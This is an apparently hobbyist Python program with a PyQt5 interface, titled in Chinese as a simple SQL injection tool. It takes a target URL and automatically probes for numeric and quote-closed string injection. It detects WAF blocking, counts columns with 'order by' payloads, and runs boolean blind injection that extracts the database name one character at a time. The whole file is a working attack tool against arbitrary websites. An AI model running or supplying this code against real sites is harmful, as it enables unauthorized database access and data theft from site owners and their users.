sql注入简单初

import requests,sys,time
from PyQt5.QtWidgets import *
from PyQt5.QtGui import QIcon
from threading import Thread

headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0'
}
test_1=['\'','\"']
a=['\'','\"',')']
#图形化界面
class gui(QWidget):
    def __init__(self):
        super(gui, self).__init__()
        self.setWindowTitle('王泽波波的sql注入')
        self.resize(700,700)
        self.setWindowIcon(QIcon("D:\\图片\\1.jpg"))
        self.ui()
    def ui(self):
        self.label=QLabel('域名')    #域名标签
        self.label.setStyleSheet("QLabel{color:green;font-size:29px}")  #域名字体颜色
        self.line=QLineEdit()   #域名输入框
        self.line.setStyleSheet("QLineEdit{font-size:27px}")
        self.startbt=QPushButton('开始')  #开始按钮
        self.startbt.setStyleSheet("QPushButton{background:white;color:red;font-size:25px}")
        self.text=QTextEdit()    #结果显示
        self.text.setText('结果')
        self.text.append('域名请输入完整如：https://www.xxx.com/1.php?id=1')
        self.boolbt=QPushButton('布尔盲注')   #布尔盲注按钮
        self.boolbt.setStyleSheet("QPushButton{color:blue;font-size:26px}")
        self.stopbt=QPushButton('停止')   #停止按钮
        self.stopbt.setStyleSheet("QPushButton{background:pink;color:black;font-size:26px}")
        self.stopbt.setEnabled(False)   #停止按钮一来先禁用

        self.hbox=QHBoxLayout()    #域名标签-框-开始按钮的水平布局
        self.hbox.addWidget(self.label)
        self.hbox.addWidget(self.line)
        self.hbox.addWidget(self.startbt)

        self.vbox2=QVBoxLayout()   #布尔盲注-停止按钮的垂直布局
        self.vbox2.addWidget(self.boolbt)
        self.vbox2.addWidget(self.stopbt)

        self.hbox2=QHBoxLayout()   #结果-vbox2的水平布局
        self.hbox2.addWidget(self.text)
        self.hbox2.addLayout(self.vbox2)

        self.vbox=QVBoxLayout()    #hbox-hbox2的垂直布局
        self.vbox.addLayout(self.hbox)
        self.vbox.addLayout(self.hbox2)
        self.setLayout(self.vbox)    #显示

        self.startbt.clicked.connect(self.start_func)
        self.stopbt.clicked.connect(self.stop)
        self.boolbt.clicked.connect(self.bool_func)
        self.bool=0
    def bool_func(self):
        self.bool=1
        self.boolbt.setEnabled(False)
    def start_func(self):
        self.boolbt.setEnabled(False)
        self.url=self.line.text()   #获取输入的url
        if len(self.url)==0:
            QMessageBox.information(self,'温馨提示','请输入域名')
        else:
            self.startbt.setEnabled(False)   #开始注入，开始按钮禁用
            self.stopbt.setEnabled(True)    #停止按钮可用
            self.thread=Thread(target=self.statuscode)  #开线程
            self.thread.setDaemon(True)
            self.thread.start()

    def statuscode(self):     #先检查域名的正确性
        try:
            sql=requests.get(self.url,headers=headers)
            if sql.status_code==200:
                self.text.append('<font color=blue>开始注入中，主人请稍等.........')
                html=sql.text
                self.sql_injection(html)   #得到html代码并传给sql_injection
            elif sql.status_code==404:
                QMessageBox.information(self,'温馨提示','网页不存在，请重新输入')
                self.stop()
            else:
                QMessageBox.information(self,'温馨提示','响应超时或其他原因，请重新输入')
                self.text.append(sql.status_code)
                self.stop()
        except Exception as e:
            self.text.append('<font color=blue>响应超时或域名不规整：%s'%e)
            self.stop()

    def sql_injection(self,html):
        response=requests.get(self.url+'and 1=2',headers=headers)
        if response.text==html:            #无变化则不是数字型，可能是字符型或做了防护等
            for i in test_1:               #用test_1里面的字典进行字符型探测
                resp_char=requests.get(self.url+'{0} and 1=2 --+'.format(i),headers=headers)
                if '拦截' in resp_char.text:      #有waf拦截
                    self.text.append('<font color=orange>似乎有waf拦截，已停止注入')
                    self.stop()
                    return 0
                else:       #没有拦截，进行闭合测试
                    if resp_char.text!=html:  #and 1=2有变化，有区别
                        resp_char2=requests.get(self.url+'{0} and 1=1 --+'.format(i),headers=headers)
                        if resp_char2.text==html: #and 1=1验证是否闭合正确
                            char=i+' '
                            if self.bool==1:          #布尔盲注
                                self.bool_injection(char,html)
                            else:
                                self.unoin_injection(char,html)   #字符型验证正确联合查询
                            return 0
                        else:      #闭合有变化，但是验证不正确，证明可能存在多个字符闭合
                            for j in a:
                                if i==j:
                                    continue
                                else:
                                    resp_char3=requests.get(self.url+'{0} and 1=1 --+'.format(i+j),headers=headers)
                                    if resp_char3.text==html:
                                        char=i+j+' '
                                        if self.bool==1:
                                            self.bool_injection(char,html)
                                        else:
                                            self.unoin_injection(char,html)
                                        return 0
                                    else:
                                        if j==a[-1]:
                                            self.text.append('<font color=blue>可能有多个字符闭合，但我没闭合成功，请校验字符集')
                                            self.stop()
                                            return 0
                                        else:
                                            continue
                    else:   #无差别继续下个符号测试
                        if i==test_1[-1]:
                            self.text.append('<font color=blue>可能有单个字符闭合，但我没闭合成功，请校验字符集')
                            self.stop()
                            return 0
                        else:
                            continue
        else:                                  #有变化可能是数字型或出错或waf拦截
            if '拦截' in response.text:        #先判断是否waf拦截
                self.text.append('<font color=orange>似乎有waf拦截，已停止注入')
                self.stop()
            else:
                response=requests.get(self.url+' and 1=1',headers=headers) #进一步推测
                if response.text==html:    #1=1和1=2有区别可推测是数字型，可猜字段数
                    integer=' '
                    if self.bool==1:       #布尔盲注
                        self.bool_injection(integer,html)
                    else:
                        self.unoin_injection(integer,html)    #数字型验证正确联合查询
                else:
                    self.text.append('<font color=orange>还不清楚的逻辑，请检查我sql_injection()')
                    self.stop()

    def unoin_injection(self,argument,html):
        for i in range(1,50):   #字段数从1开始探测，无变化继续加1探测
            resp_union=requests.get(self.url+'{0}order by {1} --+'.format(argument,i),headers=headers)
            if resp_union.text==html:
                continue
            else:
                if argument==' ':
                    self.text.append('<font color=green>[*]存在数字型，字段数为{0}'.format(i-1))
                else:
                    self.text.append('<font color=green>[*]存在字符型 {0} 闭合，字段数为{1}'.format(argument,i-1))
                break
        self.stop()
    def bool_injection(self,argument,html):   #布尔盲注
        for i in range(1,50):                 #跑数据库长度
            resp_bool=requests.get(self.url+'{0}and if(length(database())={1},1,0) --+'.format(argument,i),headers=headers)
            if resp_bool.text==html:
                self.length=i
                self.text.append('<font color=green>[*]当前数据库长度{}'.format(self.length))
                break
        self.database=''
        for x in range(1,self.length+1):
            resp_64=requests.get(self.url+'{0}and if(ascii(substr(database(),{1},1))>64,1,0) --+'.format(argument,x),headers=headers)
            if resp_64.text==html:    #ascii码大于64的从64开始
                for j in range(64,128):     #跑数据库名的每个字母的ascii码
                    resp_bool2=requests.get(self.url+'{0}and if(ascii(substr(database(),{2},1))={1},1,0) --+'.format(argument,j,x),headers=headers)
                    if resp_bool2.text==html:
                        self.database=self.database+chr(j)
                        break
            else:
                for j in range(0,64):
                    resp_bool3=requests.get(self.url+'{0}and if(ascii(substr(database(),{2},1))={1},1,0) --+'.format(argument,j+i,x),headers=headers)
                    if resp_bool3.text==html:
                        self.database=self.database+chr(j)
                        break
        self.text.append('<font color=green>[*]布尔盲注得到当前数据库名：{0} [*]'.format(self.database))
        self.stop()
    def stop(self):   #停止注入
        self.text.append('<font color=red>注入结束')   #字体大小可用<font size>，但有问题
        self.startbt.setEnabled(True)
        self.boolbt.setEnabled(True)
        self.bool=0
        self.stopbt.setEnabled(False)

if __name__=='__main__':
    app=QApplication(sys.argv)
    gui=gui()
    gui.show()
    sys.exit(app.exec())